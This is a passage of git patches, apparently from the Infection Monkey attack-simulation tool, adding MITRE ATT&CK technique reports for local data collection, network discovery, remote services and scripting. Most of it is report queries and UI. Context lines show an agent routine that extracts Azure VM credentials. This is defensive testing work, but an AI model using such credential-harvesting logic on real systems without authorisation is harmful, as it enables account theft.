T1041.T1041, - 'T1222': T1222.T1222} + 'T1222': T1222.T1222, + 'T1005': T1005.T1005} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index caa058df4..f86d4ed02 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -182,6 +182,20 @@ SCHEMA = { } } }, + "collection": { + "title": "Collection", + "type": "object", + "properties": { + "T1005": { + "title": "T1005 Data from local system", + "type": "bool", + "value": True, + "necessary": False, + "description": "Sensitive data can be collected from local system sources, such as the file system " + "or databases of information residing on the system prior to Exfiltration." + } + } + }, "command_and_control": { "title": "Command and Control", "type": "object", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py new file mode 100644 index 000000000..06f408784 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -0,0 +1,34 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1005(AttackTechnique): + + tech_id = "T1005" + unscanned_msg = "Monkey didn't gather any sensitive data from local system." + scanned_msg = "" + used_msg = "Monkey successfully gathered sensitive data from local system." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'type': '$data.type', + 'info': '$data.info'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'type': '$type', 'info': '$info'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1005.get_tech_base_data() + data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))}) + return data diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 07596cf51..72a70812c 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -422,7 +422,7 @@ SCHEMA = { "title": "Collect system info", "type": "boolean", "default": True, - "attack_techniques": ["T1082"], + "attack_techniques": ["T1082", "T1005"], "description": "Determines whether to collect system info" }, "should_use_mimikatz": { diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js new file mode 100644 index 000000000..6746d16ed --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -0,0 +1,38 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {renderMachineFromSystemData, scanStatus} from "./Helpers"; + +class T1005 extends React.Component { + + constructor(props) { + super(props); + } + + static getDataColumns() { + return ([{ + Header: "Data gathered from local systems", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Type', id: 'type', accessor: x => x.type, style: { 'whiteSpace': 'unset' }}, + {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }}, + ]}])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1005; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 0aed990d8..3e1fe9501 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -25,6 +25,7 @@ import T1188 from "../attack/techniques/T1188"; import T1090 from "../attack/techniques/T1090"; import T1041 from "../attack/techniques/T1041"; import T1222 from "../attack/techniques/T1222"; +import T1005 from "../attack/techniques/T1005"; const tech_components = { 'T1210': T1210, @@ -45,7 +46,8 @@ const tech_components = { 'T1188': T1188, 'T1090': T1090, 'T1041': T1041, - 'T1222': T1222 + 'T1222': T1222, + 'T1005': T1005 }; const classNames = require('classnames'); From 0202215aaf1466d29c9c5967e3ea871651a5308b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Jul 2019 18:13:27 +0300 Subject: [PATCH 029/276] Implemented network system discovery attack technique --- .../cc/services/attack/attack_report.py | 5 +- .../cc/services/attack/attack_schema.py | 8 ++++ .../attack/technique_reports/T1018.py | 39 +++++++++++++++ .../src/components/attack/techniques/T1018.js | 48 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 5 files changed, 101 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1018.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 0cf15051c..a3a317336 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -31,7 +31,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1090': T1090.T1090, 'T1041': T1041.T1041, 'T1222': T1222.T1222, - 'T1005': T1005.T1005} + 'T1005': T1005.T1005, + 'T1018': T1018.T1018} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index f86d4ed02..b5d5df1a3 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -179,6 +179,14 @@ SCHEMA = { "description": "An adversary may attempt to get detailed information about the " "operating system and hardware, including version, patches, hotfixes, " "service packs, and architecture." + }, + "T1018": { + "title": "T1018 Remote System Discovery", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " + "hostname, or other logical identifier on a network for lateral movement." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py new file mode 100644 index 000000000..a955f6cc9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -0,0 +1,39 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1018(AttackTechnique): + + tech_id = "T1018" + unscanned_msg = "Monkey didn't find any machines on the network." + scanned_msg = "" + used_msg = "Monkey found machines on the network." + + query = [{'$match': {'telem_category': 'scan'}}, + {'$sort': {'timestamp': 1}}, + {'$group': {'_id': {'monkey_guid': '$monkey_guid'}, + 'machines': {'$addToSet': '$data.machine'}, + 'started': {'$first': '$timestamp'}, + 'finished': {'$last': '$timestamp'}}}, + {'$lookup': {'from': 'monkey', + 'localField': '_id.monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey_tmp'}}, + {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}}, + {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname', + 'ips': '$monkey_tmp.ip_addresses'}, + 'monkey_tmp': 0}}] + + @staticmethod + def get_report_data(): + scan_info = list(mongo.db.telemetry.aggregate(T1018.query)) + if scan_info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1018.get_base_data_by_status(status) + data.update({'scan_info': scan_info}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js new file mode 100644 index 000000000..6a903244e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js @@ -0,0 +1,48 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderMachine, scanStatus } from "./Helpers" + + +class T1018 extends React.Component { + + constructor(props) { + super(props); + } + + static renderMachines(machines){ + let output = []; + machines.forEach(function(machine){ + output.push(renderMachine(machine)) + }); + return (
{output}
); + } + + static getScanInfoColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }}, + {Header: 'Started', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, + {Header: 'Finished', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1018; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 3e1fe9501..a65ee9d1c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -26,6 +26,7 @@ import T1090 from "../attack/techniques/T1090"; import T1041 from "../attack/techniques/T1041"; import T1222 from "../attack/techniques/T1222"; import T1005 from "../attack/techniques/T1005"; +import T1018 from "../attack/techniques/T1018"; const tech_components = { 'T1210': T1210, @@ -47,7 +48,8 @@ const tech_components = { 'T1090': T1090, 'T1041': T1041, 'T1222': T1222, - 'T1005': T1005 + 'T1005': T1005, + 'T1018': T1018 }; const classNames = require('classnames'); From 7b8fa541f5823a88a7e503253635b56d924d55a5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Jul 2019 13:02:03 +0300 Subject: [PATCH 030/276] Implemented system's network configuration discovery attack technique --- .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 12 ++++++ .../attack/technique_reports/T1016.py | 38 ++++++++++++++++++ .../cc/services/config_schema.py | 2 +- .../components/attack/techniques/Helpers.js | 13 +++++++ .../src/components/attack/techniques/T1016.js | 39 +++++++++++++++++++ .../src/components/attack/techniques/T1082.js | 14 +------ .../report-components/AttackReport.js | 4 +- 8 files changed, 111 insertions(+), 16 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1016.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index a3a317336..a03e6a512 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -32,7 +32,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1041': T1041.T1041, 'T1222': T1222.T1222, 'T1005': T1005.T1005, - 'T1018': T1018.T1018} + 'T1018': T1018.T1018, + 'T1016': T1016.T1016} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index b5d5df1a3..9d396dc26 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -176,6 +176,7 @@ SCHEMA = { "type": "bool", "value": True, "necessary": False, + "depends_on": ["T1016", "T1005"], "description": "An adversary may attempt to get detailed information about the " "operating system and hardware, including version, patches, hotfixes, " "service packs, and architecture." @@ -187,6 +188,16 @@ SCHEMA = { "necessary": True, "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " "hostname, or other logical identifier on a network for lateral movement." + }, + "T1016": { + "title": "T1016 System network configuration discovery", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1005", "T1082"], + "description": "Adversaries will likely look for details about the network configuration " + "and settings of systems they access or through information discovery" + " of remote systems." } } }, @@ -199,6 +210,7 @@ SCHEMA = { "type": "bool", "value": True, "necessary": False, + "depends_on": ["T1016", "T1082"], "description": "Sensitive data can be collected from local system sources, such as the file system " "or databases of information residing on the system prior to Exfiltration." } diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py new file mode 100644 index 000000000..4525fd035 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -0,0 +1,38 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1016(AttackTechnique): + + tech_id = "T1016" + unscanned_msg = "Monkey didn't gather network configurations." + scanned_msg = "" + used_msg = "Monkey gathered network configurations on systems in the network." + + query = [{'$match': {'telem_category': 'system_info'}}, + {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, + 'networks': '$data.network_info.networks', + 'netstat': '$data.network_info.netstat'}}, + {'$addFields': {'_id': 0, + 'netstat': 0, + 'networks': 0, + 'info': [ + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]}, + 'name': {'$literal': 'Network connections (via netstat command)'}}, + {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]}, + 'name': {'$literal': 'Network interface info'}}, + ]}}] + + @staticmethod + def get_report_data(): + network_info = list(mongo.db.telemetry.aggregate(T1016.query)) + if network_info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1016.get_base_data_by_status(status) + data.update({'network_info': network_info}) + return data diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 72a70812c..ea538c945 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -422,7 +422,7 @@ SCHEMA = { "title": "Collect system info", "type": "boolean", "default": True, - "attack_techniques": ["T1082", "T1005"], + "attack_techniques": ["T1082", "T1005", "T1016"], "description": "Determines whether to collect system info" }, "should_use_mimikatz": { diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index adc0d2583..fd11e3cbc 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -36,6 +36,19 @@ export function getUsageColumns() { style: { 'whiteSpace': 'unset' }}] }])} +/* Renders fields that contains 'used' boolean value and 'name' string value. +'Used' value determines if 'name' value will be shown. + */ +export function renderCollections(info){ + let output = []; + info.forEach(function(collection){ + if(collection['used']){ + output.push(
{collection['name']}
) + } + }); + return (
{output}
); + } + export const scanStatus = { UNSCANNED: 0, SCANNED: 1, diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js new file mode 100644 index 000000000..934b75692 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js @@ -0,0 +1,39 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderCollections, scanStatus } from "./Helpers" + + +class T1016 extends React.Component { + + constructor(props) { + super(props); + } + + static getNetworkInfoColumns() { + return ([{ + Header: "Network configuration info gathered", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Network info', id: 'info', accessor: x => renderCollections(x.info), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1016; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js index c6df37f4f..37c312e76 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, scanStatus } from "./Helpers" +import { renderMachineFromSystemData, renderCollections, scanStatus } from "./Helpers" class T1082 extends React.Component { @@ -10,21 +10,11 @@ class T1082 extends React.Component { super(props); } - static renderCollections(collections){ - let output = []; - collections.forEach(function(collection){ - if(collection['used']){ - output.push(
{collection['name']}
) - } - }); - return (
{output}
); - } - static getSystemInfoColumns() { return ([{ columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Gathered info', id: 'info', accessor: x => T1082.renderCollections(x.collections), style: { 'whiteSpace': 'unset' }}, + {Header: 'Gathered info', id: 'info', accessor: x => renderCollections(x.collections), style: { 'whiteSpace': 'unset' }}, ] }])}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index a65ee9d1c..3d565c3a0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -27,6 +27,7 @@ import T1041 from "../attack/techniques/T1041"; import T1222 from "../attack/techniques/T1222"; import T1005 from "../attack/techniques/T1005"; import T1018 from "../attack/techniques/T1018"; +import T1016 from "../attack/techniques/T1016"; const tech_components = { 'T1210': T1210, @@ -49,7 +50,8 @@ const tech_components = { 'T1041': T1041, 'T1222': T1222, 'T1005': T1005, - 'T1018': T1018 + 'T1018': T1018, + 'T1016': T1016 }; const classNames = require('classnames'); From 493de5b8ea904b49c45a285d3398614986f4e463 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Jul 2019 15:52:14 +0300 Subject: [PATCH 031/276] Implemented remote services attack technique --- .../cc/services/attack/attack_report.py | 5 +- .../cc/services/attack/attack_schema.py | 11 +++- .../attack/technique_reports/T1021.py | 54 +++++++++++++++++++ .../src/components/attack/techniques/T1021.js | 44 +++++++++++++++ .../report-components/AttackReport.js | 4 +- 5 files changed, 114 insertions(+), 4 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1021.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index a03e6a512..32e6c3a39 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -33,7 +33,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1222': T1222.T1222, 'T1005': T1005.T1005, 'T1018': T1018.T1018, - 'T1016': T1016.T1016} + 'T1016': T1016.T1016, + 'T1021': T1021.T1021} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 9d396dc26..2335f005c 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -48,6 +48,15 @@ SCHEMA = { "necessary": True, "description": "Files may be copied from one system to another to stage " "adversary tools or other files over the course of an operation." + }, + "T1021": { + "title": "T1021 Remote services", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1110"], + "description": "An adversary may use Valid Accounts to log into a service" + " specifically designed to accept remote connections." } } }, @@ -62,7 +71,7 @@ SCHEMA = { "necessary": False, "description": "Adversaries may use brute force techniques to attempt access to accounts " "when passwords are unknown or when password hashes are obtained.", - "depends_on": ["T1210"] + "depends_on": ["T1210", "T1021"] }, "T1003": { "title": "T1003 Credential dumping", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py new file mode 100644 index 000000000..6f69f39ab --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -0,0 +1,54 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports.T1110 import T1110 + +__author__ = "VakarisZ" + + +class T1021(AttackTechnique): + tech_id = "T1021" + unscanned_msg = "Monkey didn't try to login to any remote services." + scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed." + used_msg = "Monkey successfully logged into remote services on the network." + + # Gets data about brute force attempts + query = [{'$match': {'telem_category': 'exploit', + 'data.attempts': {'$not': {'$size': 0}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$and': [{'$eq': ['$$attempt.result', True]}, + {'$or': [{'$ne': ['$$attempt.password', '']}, + {'$ne': ['$$attempt.ssh_key', '']}]}] + } + } + } + } + }] + + scanned_query = {'telem_category': 'exploit', + 'data.attempts': {'$elemMatch': {'$or': [{'password': {'$ne': ''}}, + {'ssh_key': {'$ne': ''}}]}}} + + @staticmethod + def get_report_data(): + attempts = [] + if mongo.db.telemetry.count_documents(T1021.scanned_query): + attempts = list(mongo.db.telemetry.aggregate(T1021.query)) + if attempts: + status = ScanStatus.USED.value + for result in attempts: + result['successful_creds'] = [] + for attempt in result['attempts']: + result['successful_creds'].append(T1110.parse_creds(attempt)) + else: + status = ScanStatus.SCANNED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1021.get_base_data_by_status(status) + data.update({'services': attempts}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js new file mode 100644 index 000000000..edfba66a9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -0,0 +1,44 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, scanStatus } from "./Helpers" + + +class T1021 extends React.Component { + + constructor(props) { + super(props); + } + + static getServiceColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 160}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, + {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + static renderCreds(creds) { + return {creds.map(cred =>
{cred}
)}
+ }; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1021; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 3d565c3a0..86fce36e5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -28,6 +28,7 @@ import T1222 from "../attack/techniques/T1222"; import T1005 from "../attack/techniques/T1005"; import T1018 from "../attack/techniques/T1018"; import T1016 from "../attack/techniques/T1016"; +import T1021 from "../attack/techniques/T1021"; const tech_components = { 'T1210': T1210, @@ -51,7 +52,8 @@ const tech_components = { 'T1222': T1222, 'T1005': T1005, 'T1018': T1018, - 'T1016': T1016 + 'T1016': T1016, + 'T1021': T1021 }; const classNames = require('classnames'); From fe6a653f79b73bb171a490bc743a03f7da0918c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 22 Jul 2019 12:13:54 +0300 Subject: [PATCH 032/276] Implemented scripting attack technique --- monkey/infection_monkey/post_breach/pba.py | 7 +++-- .../system_info/azure_cred_collector.py | 3 ++ .../telemetry/attack/t1064_telem.py | 11 +++++++ .../cc/services/attack/attack_report.py | 6 ++-- .../cc/services/attack/attack_schema.py | 8 +++++ .../attack/technique_reports/T1064.py | 16 ++++++++++ .../src/components/attack/techniques/T1064.js | 30 +++++++++++++++++++ .../report-components/AttackReport.js | 4 ++- 8 files changed, 80 insertions(+), 5 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1064_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1064.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 3fb8b251f..123214db9 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,10 +1,11 @@ import logging import subprocess -import socket -from infection_monkey.control import ControlClient + +from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem LOG = logging.getLogger(__name__) @@ -46,6 +47,8 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() + if result[1] and isinstance(self.command, list) and len(self.command) > 1: + T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() def _execute_default(self): diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index 80d9f064f..90626922d 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -7,6 +7,7 @@ import subprocess from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem __author__ = 'danielg' @@ -58,6 +59,7 @@ class AzureCollector(object): decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send() return decrypt_data['username'], decrypt_data['password'] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -97,6 +99,7 @@ class AzureCollector(object): password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py new file mode 100644 index 000000000..fcb3c0bff --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1064Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1064 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1064Telem, self).__init__('T1064', status, usage) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 32e6c3a39..c04e6870f 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import 